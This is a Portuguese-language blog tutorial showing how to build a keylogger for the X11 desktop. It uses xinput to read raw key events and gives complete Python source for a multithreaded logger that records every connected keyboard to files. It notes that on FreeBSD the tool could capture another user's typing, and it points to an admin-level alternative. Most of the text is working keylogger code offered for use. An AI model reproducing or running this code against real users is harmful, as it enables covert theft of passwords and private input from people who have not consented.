Como Fazer um Keylogger para o X11
Esse post está atrasado uns dois anos. Ficamos de fazer esse keylogger desde que a Rutkowska publicou o post “The Linux Security Circus: On GUI isolation” no dia 23 de abril de 2011 (este post foi escrito no dia 1 de abril de 2013). Segundo esse texto, podemos gravar os dados digitados pelo nosso usuário apenas utilizando comandos nativos do X11.
Para fazermos isso, primeiro verificamos como listar os dispositivos conectados e reconhecidos (utilizados) pelo ambiente gráfico:
pedro@HAL9001:~$ xinput list
⎡ Virtual core pointer id=2 [master pointer (3)]
⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]
⎜ ↳ MosArt Optical Mouse id=9 [slave pointer (2)]
⎣ Virtual core keyboard id=3 [master keyboard (2)]
↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]
↳ Power Button id=6 [slave keyboard (3)]
↳ Power Button id=7 [slave keyboard (3)]
↳ Hewlett-Packard Company HP USB CCID Smartcard Keyboard id=8 [slave keyboard (3)]
Esse comando mostra o ID do teclado. Assim, de posse do id do teclado — no caso, o id=8 é esse dispositivo –, é possível capturar as teclas sendo digitadas. Para isso, basta utilizar o comando xinput test
. Por exemplo:
pedro@HAL9001:~$ xinput test 8
key release 36
key press 28
tkey release 28
key press 26
ekey release 26
key press 39
skey release 39
key press 28
tkey release 28
key press 26
ekey release 26
Assim, basta deixar rodando esse comando de background e utilizar um script de expressões regulares para substituir o código da tecla digitada pelo respectivo caractere. Para fazermos isso, facilitaremos nosso trabalho utilizando uma interface que permite usarmos comandos Bash como se fossem comandos nativos do Python. Tal interface foi desenvolvida por Andrew Moffat e pode ser encontrada em https://github.com/amoffat/sh.
Escrevendo o Keylogger
Como o objetivo principal do nosso script é executar expressões regulares para filtrar apenas o código das teclas (keycodes), começamos por definir as expressões que mais utilizaremos durante a execução:
KEYPRESS_REGEX = re.compile(r'key press +(\d+)')
KEYBOARD_REGEX = re.compile(r'(.*)Keyboard(.*)id=(\d+)(.*)')
KEYCODE_REGEX = re.compile(r'keycode +(\d+) = (.+)')
Em seguida, executamos o comando xinput test
e capturamos a saída no Python. Como esse comando lista todos os dispositivos, usamos KEYBOARD_REGEX
para filtrar os dispositivos de teclado. Fazemos isso pela seguinte função:
def get_listanables_keyboards():
stdout = bash.xinput("list")
keyboards = []
for line in stdout:
match = KEYBOARD_REGEX.match(line)
if match and match.group(3).isdigit():
keyboard = int(match.group(3))
keyboards.append(keyboard)
return keyboards
Devemos notar que essa função retorna uma lista de teclados. Isso porque nosso script está hábil a escutar vários dispositivos de teclado. Dessa forma, o script consiste em executar um Keylogger
para cada dispositivo de teclado:
if __name__ == '__main__':
keyboards = get_listanables_keyboards()
for keyboard in keyboards:
Keylogger(keyboard).start()
signal_listener()
onde signal_listener
escuta os sinais dados para a thread principal e envia esses sinais para as threads filhas:
def signal_listener():
for sig in range(1, signal.NSIG):
try:
signal.signal(sig, signal.SIG_DFL)
except RuntimeError:
pass
A Classe Keylogger
Como iremos escutar cada um dos teclados instalados no sistema, devemos gerar um keylogger para cada um deles. Assim, definimos uma classe que gera uma thread para cada um deles. Assim, começamos a definir essa classe como
class Keylogger(Thread):
"""Keylogger for a single keyboard"""
def __init__(self, keyboard):
Thread.__init__(self)
self._keyboard = keyboard
self._filename = 'keyboard%d.log' % self._keyboard
self._file = open(self._filename, 'w+')
self.__define_constants()
def __del__(self):
self.__exit__()
def __exit__(self):
self._file.close()
def run(self):
self._log()
onde self._log()
, definida no corpo da thread, é a função que contém o núcleo do keylogger em si:
def _log(self):
logger = bash.xinput("test", self._keyboard, _iter=True)
keymap = self._get_keymap()
try:
for line in logger:
match = KEYPRESS_REGEX.match(line)
if match:
keycode = match.groups()[0]
key = keymap[keycode]
self._writen_file(key)
except Exception:
print "Salved into %s" % self._filename
Essa função utiliza a regex definida anteriormente para extrair cada código das teclas digitado e substituir pelo respectivo caractere. Após cada tecla ser digitada, ela é salva no arquivo respectivo ao código do teclado (keyboard%d.log
). Abaixo segue essa classe completa, com todos os métodos listados:
class Keylogger(Thread):
"""Keylogger for a single keyboard"""
def __init__(self, keyboard):
Thread.__init__(self)
self._keyboard = keyboard
self._filename = 'keyboard%d.log' % self._keyboard
self._file = open(self._filename, 'w+')
self.__define_constants()
def __del__(self):
self.__exit__()
def __exit__(self):
self._file.close()
def run(self):
self._log()
def __define_constants(self):
self._special_chars = {
'space': ' ',
'apostrophe': "'",
'BackSpace': ' (Backspace) ',
'Return': ' \n',
'period': '.',
'Shift_L1': ' (Shift1) ',
'Shift_L2': ' (Shift2) ',
'Control_L': ' (ControlL) ',
'ccedilla': 'ç',
'backslash': '\\',
'dead_tilde': '~',
'Shift_L': ' (ShiftL) ',
'Shift_R': ' (ShiftR) ',
'minus': '-',
'equal': '=',
'Alt_L': ' (AltL) ',
'Escape': ' (esc) ',
'F1': ' (F1) ',
'F2': ' (F2) ',
'F3': ' (F3) ',
'F4': ' (F4) ',
'F5': ' (F5) ',
'F6': ' (F6) ',
'F7': ' (F7) ',
'F8': ' (F8) ',
'F9': ' (F9) ',
'F10': ' (F10) ',
'F11': ' (F11) ',
'F12': ' (F12) ',
'Num_Lock': ' (NumLock) ',
'slash': '/',
'bracketright': ']',
'bracketleft': '[',
'comma': ',',
'semicolon': ';',
'Scroll_Lock': ' (ScrollLock) ',
'Home': ' (Home) ',
'End': ' (End) ',
'Prior': ' (PgUp) ',
'Next': ' (PgDn) ',
'Pause': ' (Pause) ',
'Insert': ' (Insert) ',
'Delete': ' (Del) ',
'Print': ' (PrtScr) ',
'Left': ' (Left) ',
'Up': ' (Up) ',
'Right': ' (Right) ',
'Down': ' (Down) ',
}
def _log(self):
logger = bash.xinput("test", self._keyboard, _iter=True)
keymap = self._get_keymap()
try:
for line in logger:
match = KEYPRESS_REGEX.match(line)
if match:
keycode = match.groups()[0]
key = keymap[keycode]
self._writen_file(key)
except Exception:
print "Salved into %s" % self._filename
def _writen_file(self, key):
self._file.write(key)
self._file.flush()
os.fsync(self._file)
def _sanitize(self, key_char):
if key_char in self._special_chars:
return self._special_chars[key_char]
else:
return key_char
def _get_keymap(self):
keymap = {}
table = bash.xmodmap("-pke")
for line in table:
match = KEYCODE_REGEX.match(line)
if match and match.groups()[1]:
keycode = match.groups()[0]
key_chars_group = match.groups()[1].split()
key_main_char = key_chars_group[0]
keymap[keycode] = self._sanitize(key_main_char)
return keymap
O código completo desse keylogger está disponível em http://www.sawp.com.br/sources/PyXKeyLogger/pyxkeylogger.tar.gz. Qualquer dúvida, reclamação, sugestão ou contribuição, contacte-me por e-mail: sawp@sawp.com.br.
Finalmente, devemos considerar que esse script está limitado a gravar as teclas digitadas apenas no ambiente X. Além disso, é muito provável que os sistemas operacionais atuais estejam implementando alguma forma de GUI_isolation, o que irá limitar o nosso keylogger ainda mais, permitindo-o capturar somente as teclas digitadas pelo próprio usuário que executou o script.
Devemos ressaltar que em nosso teste no Freebsd 9.1 foi possível a um usuário capturar as teclas digitadas por outro usuário. Contudo, com o mesmo script executado no Ubuntu 12.10, isso não foi possível. Portanto, em situações onde não temos o X11 instalado, ou situações em que exista alguma forma de GUI_isolation, mas onde possuímos a senha de administrador, recomendamos a utilização do PyKL.
Referências
- Joanna Rutkowska’s blog: The Invisible Things Lab’s
- Python-Bash (formerly pbs): https://github.com/amoffat/sh